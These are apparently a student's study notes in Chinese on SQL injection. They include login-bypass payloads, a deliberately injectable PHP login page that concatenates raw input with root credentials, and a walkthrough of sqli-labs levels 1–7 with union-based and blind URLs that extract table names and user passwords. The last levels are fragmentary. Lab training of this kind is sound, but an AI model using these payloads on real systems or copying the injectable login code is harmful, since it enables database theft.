1.总结第一天第二天的课程内容
1、数据传递采用注释
username='admin'-- and password = 'admin' --的后面有个空格有转码的话加一个空格
2、构造函数
如果是编码问题可以进行编码之后在传参
username='admin' or '1'='1' and password = 'sscac'
查询
整体思路:(web访问流程)
1、浏览器----本地页面代码(F12)
2、http----(页面的所有数据都要传的)截获数据、修改数据、观察数据、绕过页面判断的界面
3、web容器(iis、apache、Nginx)解析数据—解析文件、数据问题
4、web语言(php、javaScript、python、.net等等)执行代码
5、数据库
注入类漏洞---->数据变代码
1、如何判断漏洞
2、如何构造代码
思路:先判断是否被整型包裹(id=1 and 1=2),整体是对的会返回数据,错的不会返回数据,其次在看是不是单引号(id=1’)报错,进一步测试(id=1‘ and ‘1’='1)对的,(id=1‘ and ‘1’='2)没有数据,断定就是单引号包裹,取数据()
2.自己写一个登陆页面,并能实现对接数据库,判断用户名与密码是否正确。
1.登录页面
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>西安加油</title>
</head>
<h1>西安欢迎你!!!!</h1>
<form name="input" action="shujiku.php" method="get">
用户名:<input type="text" name='user'>
密码:<input type="password" name='passwd'>
<input type="submit" value="登录">
2、连接数据库
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>西安加油!!</title>
</head>
<?php
$uname=$_GET['user'];
$pwd=$_GET['passwd'];
if($uname==null or $pwd==null){ echo "用户名或密码不能为空,请重新输入!";}
else{
$con = mysqli_connect('127.0.0.1','root','root','test');
if (!$con){
die("连接失败:".mysqli_connect_error());
}
echo "数据库连接成功";
$sql="select username , password from users where username='$uname' and password = '$pwd'";
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_assoc($result);
if($row){
echo"登录成功,欢迎".$uname."!";
}
else{
echo"登录失败!<a href='test.php'>重新登录";
}
}
?>
3.练习sql-map-master的1-7关。
1、第一关
思路:先判断是否被整型包裹(id=1 and 1=2),整体是对的会返回数据,错的不会返回数据,其次在看是不是单引号(id=1’)报错,进一步测试(id=1‘ and ‘1’='1)对的,(id=1‘ and ‘1’='2)没有数据,断定就是单引号包裹,取数据()
1、找库
show databases;
select DATABASE();//看当前库
select name from users where id=1union all select 1,2;//联合查询输出了就说明两列不知道的话就尝试
select username, password from users order by 1;//order by函数也可以写相对位置
http://192.168.131.129/sqli-labs-master/Less-1/?id=1'--+
http://192.168.131.129/sqli-labs-master/Less-1/?id=1'order by 3--+ 查列
http://192.168.131.129//sqli-labs-master/Less-1/?id=1' union all select 1,2,3--+ 联合查询
http://192.168.131.129//sqli-labs-master/Less-1/?id=-1' union all select 1,2,3--+ 想看自己想看的数据因为没有负一 判断表结构
http://192.168.131.129//sqli-labs-master/Less-1/?id=-1' union all select 1,2,database()--+ 替换1,2,3可以查出库名
select table_name from information_schema.tables where table_schema=‘security’ limit 0,1;
http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),database()--+
爆出表,所有mysql都有一个库叫information_schema就是其他库在这里有记录
改动limit 1,1等来找你想要的表
select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1
http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),database()--+
列名,改动limit 1,1等来找你想要的表
select username,password from users
http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,username,password from users limit 1,1--+
显示
2、第二关
http://192.168.131.129/sqli-labs-master/Less-2/?id=1 and 1=2 没报错但没有数据
http://192.168.131.129/sqli-labs-master/Less-2/?id=-1 union all select 1,2,3
后面套路同上
3、第三关
http://192.168.131.129/sqli-labs-master/Less-3/?id=1 and 1=2 并不知整型
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' --+ 报错猜测和括号关系,但不是括号,和单引号有关于是注释掉语法错了就不是单引号猜测单引号加括号
http://192.168.131.129/sqli-labs-master/Less-3/?id=1') --+
http://192.168.131.129/sqli-labs-master/Less-3/?id=1') and 1=2 --+
进一步确认,没有报错所以确定是')
4、第四关
")
5、第五关(不回写)
’
order by 3
select
datbase()
按照流程走
select ascii(SUBSTR(‘abc’,2,1));
写一个判断
A65 - 90 _95
a97 -122
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' and length(database())=8--+ 长是8
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' and ascii(substr(database(),1,1))=115--+
需要写脚本
li-labs-master/Less-3/?id=1’ and length(database())=8–+ 长是8
http://192.168.131.129/sqli-labs-master/Less-3/?id=1’ and ascii(substr(database(),1,1))=115–+
需要写脚本
6、第六关
‘’
7、第七关